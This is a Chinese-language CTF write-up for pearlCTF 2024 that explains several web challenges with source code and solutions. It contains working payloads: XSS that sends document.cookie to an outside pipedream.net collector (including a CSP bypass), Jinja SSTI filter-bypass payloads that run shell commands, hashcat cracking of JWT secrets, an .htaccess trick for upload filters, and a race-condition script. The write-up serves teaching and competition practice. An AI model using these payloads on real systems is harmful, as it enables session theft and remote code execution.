prealCTF2024 wp

teamName: Ciallo~(∠・ω< )⌒☆

rank: #6

points: 7575

Reversing: 1474/7575

Miscellaneous: 438/7575

Crypto: 1,248/7575

Forensics: 904/7575

Web: 1169/7575

Blockchain: 788/7575

OSINT: 100/7575

Pwn: 1454/7575

这次比赛收获很多,也是和一群很强的师傅打,也感受到了自己确实很菜;w;

learn HTTP(76 Solves/50 Points)

https://learn-http.ctf.pearlctf.in

给的是一个公共靶机里面有一个机器人那大概率是xss了,题目还给了附件,先简单看一下页面,看看题目要我们干什么,里面要我们写一个类似http请求的东西,然后把生成好的payload交给机器人检查,接下来我们看一下源码

先看一下nodejs的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
//main.js
require('dotenv').config()

const childProcess = require('child_process');
var jwt = require('jsonwebtoken');

const express = require("express")
const path = require("path")
const bodyParser = require("body-parser")
var cookieParser = require('cookie-parser')

const app = express()

app.use(express.static(path.join(__dirname, 'public')))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(cookieParser())

app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "templates/index.html"))
})

const genToken = () => {
var token = jwt.sign({ id: 1 }, process.env.SECRET);
return token
}

app.post("/check", (req, res) => {
try {
let req_body = req.body.body

if (req_body == undefined) {
return res.status(200).send("Body is not provided")
}

let to_req = `http://localhost:5001/resp?body=${encodeURIComponent(req_body)}`

childProcess.spawn('node', ['./bot.js', JSON.stringify({
url: to_req,
token: genToken()
})]);

return res.status(200).send("Admin will check!")
} catch (e) {
console.log(e)
return res.status(500).send("Internal Server Error")
}
})

app.get("/flag", (req, res) => {
let token = req.cookies.token
try {
var decoded = jwt.verify(token, process.env.SECRET)
if (decoded.id != 2) {
return res.status(200).send("You are not verified")
}

return res.status(200).send(process.env.FLAG)
} catch {
return res.status(200).send("You are not verified")
}
})

app.listen("5000", () => {
console.log("Server started")
})

有三个路由,逻辑都很简单, /就是显示主页,/check检查你构造的payload,并带上cookie(token),/flag检查你的token 有没有修改如果有就返回flag

然后我们开看看另一个go的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package main
import (
"fmt"
"net"
"os"
"strings"
"net/url"
)
const (
SERVER_HOST = "localhost"
SERVER_PORT = "5001"
SERVER_TYPE = "tcp"
)
func main() {
fmt.Println("Server Running...")
server, err := net.Listen(SERVER_TYPE, SERVER_HOST+":"+SERVER_PORT)
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
defer server.Close()

fmt.Println("Listening on " + SERVER_HOST + ":" + SERVER_PORT)

for {
connection, err := server.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
}

go processClient(connection)
}
}
func processClient(connection net.Conn) {
buffer := make([]byte, 1024)
mLen, err := connection.Read(buffer)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0]
splitted_req := strings.Split(raw_http_req, " ")

if splitted_req[0] != "GET" {
_, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET"))
connection.Close()
return
}

parsed, err := url.Parse(splitted_req[1])
if err != nil {
fmt.Println("Error parsing: ", err.Error())
}

path := parsed.Path

if path != "/resp" {
_, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found"))
connection.Close()
return
}

args, err := url.ParseQuery(parsed.RawQuery)

if err != nil {
_, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError"))
connection.Close()
return
}

body, ok := args["body"]

if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}

_, err = connection.Write([]byte(body[0]))
connection.Close()
}

根据你的body来分割内容,先检查前面部分有没有问题,最后把最后一部分分割出来回显到网页上, 最后回显的部分没有任何过滤,先尝试一下直接打

1
?body=HTTP%2F1.1%20200%20OK%0D%0A%0D%0A<script>alert(1)</script>

成功弹窗,接下来简单构造一下外带cookie就行

1
?body=HTTP%2F1.1 200 OK%0D%0A%0D%0A<script>document.location.href="https://eopv4zbo4fy4ld3.m.pipedream.net/?x="%2bdocument.cookie</script>

拿到token

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjI1MDYyfQ.ucZOtlvfIFuRlGecK_0a22w5OC1lvT3himWAqgXrbS0

直接jwt.io改还不行,还要找到SECRET的key改才行

用hashcat爆破

1
hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjI1MDYyfQ.ucZOtlvfIFuRlGecK_0a22w5OC1lvT3himWAqgXrbS0

爆破出来密钥是 … banana

最后在jwt.io上加上密钥后修改

放到/flag检查得到flag

1
pearl{c4nt_s3nd_th3_resP0n53_w1th0ut_Sani7iz1ng}

I am a web-noob(75 Solves/50 Points)

https://noob-login.ctf.pearlctf.in/

给的是一个公共靶机没有给源码,给了一个输入用户名的地方,随便数一个用户名(123),在主页回显

1
2
Basic 123
Blah blah blah

猜测是ssti传一个参

1
?user={{7*7}}

回显

1
{% set config=None%}{% set self=None%} 7*7}}

发现连续的两个大括号被过滤掉了,随便找个不用两个大括号的payload一把梭看看

1
?user={%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('whoami').read())%}

可以看到有回显

1
{% set config=None%}{% set self=None%}{%print("".__ __.__bases__[0]. __sub es__()[138].__init__.__globals__['popen']('whoami').read())%}

挺多东西被过滤了,那我们用另一种思路,用request.values.a,在原本里面加个找个然后在传一个a里面是被过滤的内容就可以绕过了,尝试一下

1
?user={%print%20(lipsum|attr(request.values.a))%}&a=__globals__

成功回显

在回显里找到有os模块,用get获取,接下来就是如果有过滤就用request.values.a绕,或者用引号绕,最终payload就是

1
2
?user={%print%20(lipsum|attr(request.values.a)).get('o''s')|attr(%22pop%22%22en%22)(%22cat /app/flag.txt%22)|attr(%22read%22)()%}%}
&a=__globals__

得到flag

1
pearl{W4s_my_p4ge_s3cur3_en0ugh_f0r_y0u?}

rabbithole(58 Solves/94 points)

https://rabbithole.ctf.pearlctf.in

给了一个网页,里面什么也没有,dirmap扫一下,扫出来robots.txt访问一下

里面有个/w0rk_h4rd要我们去访问,里面说

1
2
3
4
5
You sure are hardworking

but are you privileged enough?

Here is what you want: s3cr3t1v3_m3th0d

第二个问我们有没有权限,我们可以看到我们的Cookie是guest,把他改成admin就行了,下面看到文字有m3th0d,method就是访问方法,还有一个加粗的hardworking,先不知道是什么,先用方法和权限访问一下回显405,方法不对,那应该不是这个页面,试试/hardworking,访问后成功回显flag,这题也算是纯纯靠猜的脑洞题了

1
pearl{c0ngr4t5_but_th1s_1s_just_th3_b3g1nn1ng}

learn HTTP better(15 Solves/476 Points)

https://v1-learn-http.ctf.pearlctf.in/

是前面那题的升级版,和前面那题一样是xss,给了源码,js文件没什么改变,主要看go的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package main
import (
"fmt"
"net"
"os"
"strings"
"net/url"
)
const (
SERVER_HOST = "localhost"
SERVER_PORT = "5001"
SERVER_TYPE = "tcp"
)
func main() {
fmt.Println("Server Running...")
server, err := net.Listen(SERVER_TYPE, SERVER_HOST+":"+SERVER_PORT)
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
defer server.Close()

fmt.Println("Listening on " + SERVER_HOST + ":" + SERVER_PORT)

for {
connection, err := server.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
}

go processClient(connection)
}
}
func processClient(connection net.Conn) {
buffer := make([]byte, 1024)
mLen, err := connection.Read(buffer)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0]
splitted_req := strings.Split(raw_http_req, " ")

if splitted_req[0] != "GET" {
_, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET"))
connection.Close()
return
}

parsed, err := url.Parse(splitted_req[1])
if err != nil {
fmt.Println("Error parsing: ", err.Error())
}

path := parsed.Path

if path != "/resp" {
_, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found"))
connection.Close()
return
}

args, err := url.ParseQuery(parsed.RawQuery)

if err != nil {
_, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError"))
connection.Close()
return
}

body, ok := args["body"]

if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}

splitted_resp := strings.Split(body[0], "\r\n\r\n")
new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")

final_body := strings.Join([]string{new_header, splitted_resp[1]}, "\r\n\r\n")

_, err = connection.Write([]byte(final_body))
connection.Close()
}

多了一个

1
new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")

script-src 是一个指令,用于控制特定页面的一组与脚本相关的权限,定义此策略后,当浏览器从任何其他来源加载脚本时,只会抛出错误消息。即使恶意攻击者成功的代码注入到 Web 站点时,也只能遇到错误消息

既然是self我们只需要把他定向到自己就可以了

那么我们构造出来脚本就为

1
<script src="/resp?body=HTTP%252F1.1%2520200%2520OK%250D%250A%250D%250Aalert(1)"></script>

成功弹窗,最后构造payload

1
HTTP%2F1.1 200 OK%0D%0A%0D%0A<script src="/resp?body=HTTP%252F1.1%2520200%2520OK%250D%250A%250D%250Adocument.location.href=%27https://eopv4zbo4fy4ld3.m.pipedream.net/?%27%252Bdocument.cookie"></script>

反弹回cookie

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjMxMTI1fQ._ej8la2uH7bscSM0WGhbtAt906crQ1OORF4zUtp9moo

继续用hashcat看一下密钥是password

得到flag

1
pearl{w0w_7hat_w4s_0ut_Of_th3_boX}

Uploader(5 Solves/499 Points)

进去之后是一个upload界面,里面似乎只过滤文件内容,对文件名并不过滤,但是会对文件名进行hash

这个的后端过滤很奇怪,<>[]()=等字符似乎可以存在,但是,只要左右超过有两个字符就会被过滤,同时php也被过滤了,中间思考过程就不说了,说了就太长了,和一个师傅讨论了快两个小时才出,直接给出正确的思考答案

首先先上传.htaccess

1
2
3
4
5
ph\
p_flag engine 1
ph\
p_value auto_prepend_file .ph\
p

是的!我们整了半天,发现是php的解析没开,当时也完全没有想到,而斜杠则是绕过php的过滤

而php则是简单的条件竞争就能传上去并解析,虽然还是会删除,但是传一个写木马上去解析就行,最后找到flag在/opt/flag.txt(也算是逆天这么能藏,加了.txt find也find不到,附上别的师傅的吐槽)

最后附上竞争代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

import threading

def getphpinfo():

url = "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in"
headers = {
"Host": "uploader-be0b0177dfa5950d.ctf.pearlctf.in",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------72940437516480145501393954295",
"Origin": "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in",
"Referer": "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in/",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers"
}
for i in range(10000):
res= requests.get("https://uploader-be0b0177dfa5950d.ctf.pearlctf.in/uploads/10.80.1.9/.php")
print(res.text)
threads = []
for i in range(10):
thread = threading.Thread(target=getphpinfo)
threads.append(thread)

for thread in threads:
thread.start()

for thread in threads:
thread.join()

1
pearl{d1d_y0u_just_d0uble_r4ce?}